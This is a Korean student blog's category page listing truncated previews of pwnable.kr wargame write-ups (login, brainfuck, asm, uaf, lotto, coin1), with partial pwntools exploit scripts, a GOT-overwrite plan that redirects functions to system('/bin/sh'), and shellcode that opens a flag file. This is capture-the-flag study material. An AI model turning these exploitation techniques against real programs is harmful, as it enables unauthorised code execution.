목록공부/pwnable.kr (8)
hOwDayS 선린 10720
보호되어 있는 글입니다.
보호되어 있는 글입니다.
사용자에게 입력을 받은 후 입력받은 값을 base64로 디코딩한다. -> 입력하고자하는 값은 base64로 인코딩을 하여 값을 넣어야됨base64로 디코딩한것을 input에 저장한다auth함수로 가서 참일 경우에correct함수를 실행시킨다 auth함수해시를 계산하여 출력한 후 f87..34까지 비교한다하지만 똑같은 값을 입력해도 계속 값이 바뀐다. -> strcmp문을 충족하게 만들기 어려움 correct 함수input값과 = deadbeef 값이 같을때 실행한다 하지만 우리는 auth함수을 충족하기 어려우므로 correct함수를 실행할 수 없다 하지만 gdb로 분석을 하는 중 leave에서 특이한 점이 걸렸다(입력값은 AAABBBBCCCC를 base64로 인코딩한 QUFBQUJCQkJDQ0ND 를입력..
fgets로 입력을 받은 다음 한글자씩 do_brainfuck 함수로 넘겨 주고 있다 do_brainfuck 함수안은 이렇다. do_brainfuck로 넘겨준 글자를 아스키코드로 비교를 하여 실행한다. p 는 tape의 주소다 여기서 어떻게 쉘을 실행시킬까 생각을 했다.got을 조작하여 쉘을 실행시키려 한다 main 함수에서는 memset을 실행후 fgets을 실행하는데 memset , fgets , putchar 각각의 got을 조작하여 쉘을 실행시킨다 memset 의 got 을 gets으로 조작하여 /bin/sh을 입력하고fgets의 got을 system으로 조작하고putchar 의 got을 main으로 조작하여 putchar을 실행시키면 쉘을 따낸다 brainfuck.py123456789101112..
solve.py 1234567891011121314from pwn import * context(arch='amd64',os='linux') #Setting shellcode='' #파일이름 저장shellcode+=shellcraft.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")shellcode+=shellcraft.ope..
uaf(user after free) 문제이다 A의 동적할당을 해제하고 다시 A를 다시 사용하였을때 똑같은 공간에 할당된다는 취약점을 이용한다. uaf.cpp 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980#include #include #include #include #include using namespace std; class Human{private: virtual void give_shell(){ system("/bin/sh"); }protected: int age; stri..
lotto 1~32까지의 아스키코드 값은 보통 사용 을안해서 33인 !부터 된다.!표를 6개하면 바로 된다. 파이썬으로 포너블은 거의 안해봐서 안해도 되는 걸 하고 있다.. 123456789101112131415161718192021222324252627from pwn import * def solve(): p.sendline("1") p.recv() send_line = '' i=2 while(1): send_line = "!!!!!!" p.sendline(send_line) data = p.recv().rstrip() print('['+str(i)+'] '+send_line) i+=1 if "bad" in data: send_line ='' p.sendline("1") p.recv() else: br..
coin1 코드 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import * def solve(): _input = '' # cnt = 100 for i in range(cnt): data = s.recvline() N = int(data.split(' ')[0][2:]) # = 이후 부터 가져옴 C = int(data.split(' ')[1][2:]) left = 0 right = N -1 # start from 0 print ('['+str(i+1)+'] N : ' + str(N) + ' '+' C : ' + str(C)) _try = 0 #시도 결과 while..